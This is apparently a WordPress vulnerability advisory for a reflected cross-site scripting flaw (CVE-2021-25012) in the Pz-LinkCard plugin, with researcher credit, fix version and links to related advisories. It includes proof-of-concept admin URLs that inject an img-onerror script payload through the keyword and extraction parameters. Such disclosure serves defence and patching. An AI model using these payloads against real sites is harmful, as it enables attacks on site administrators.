Pz-LinkCard < 2.4.5.3 – Reflected Cross-Site Scripting | CVE 2021-25012 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape multiple parameters before outputting them back in admin dashboard pages, leading to Reflected Cross-Site Scripting issues

Proof of Concept

v < 2.4.5
https://example.com/wp-admin/tools.php?page=pz-linkcard-cache&keyword=%22%3E%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E
https://example.com/wp-admin/tools.php?page=pz-linkcard-cache&extraction=%22%3E%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E ETC

v <= 2.4.5.1
https://example.com/wp-admin/tools.php?page=pz-linkcard-cacheman&keyword=%22%3E%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E
https://example.com/wp-admin/tools.php?page=pz-linkcard-cacheman&extraction=%22%3E%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E

Affects Plugins

Fixed in 2.4.5.3

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website

https://kazet.cc/

Verified

Yes

WPVDB ID

b126d2fc-6cc7-4c18-b95e-d32c2effcc4f

Timeline

Publicly Published

2022-03-01 (about 3 years ago)

Added

2022-03-01 (about 3 years ago)

Last Updated

2022-06-10 (about 3 years ago)

Other

Published

Title

Published

2024-06-05

Title

Simple Photoswipe <= 0.1 - Admin+ Stored XSS

Published

2024-06-17

Title

WP Job Portal < 2.1.4 - Authenticated (Admin+) Stored Cross-Site Scripting

Published

2024-03-15

Title

SupportCandy < 3.2.4 - Authenticated (Subscriber+) Stored Cross-Site Scripting

Published

2024-12-05

Title

ForumWP < 2.1.3 - Reflected Cross-Site Scripting via url Parameter

Published

2024-08-26

Title

EmbedPress < 4.0.9 - Authenticated (Contributor+) Stored Cross-Site Scripting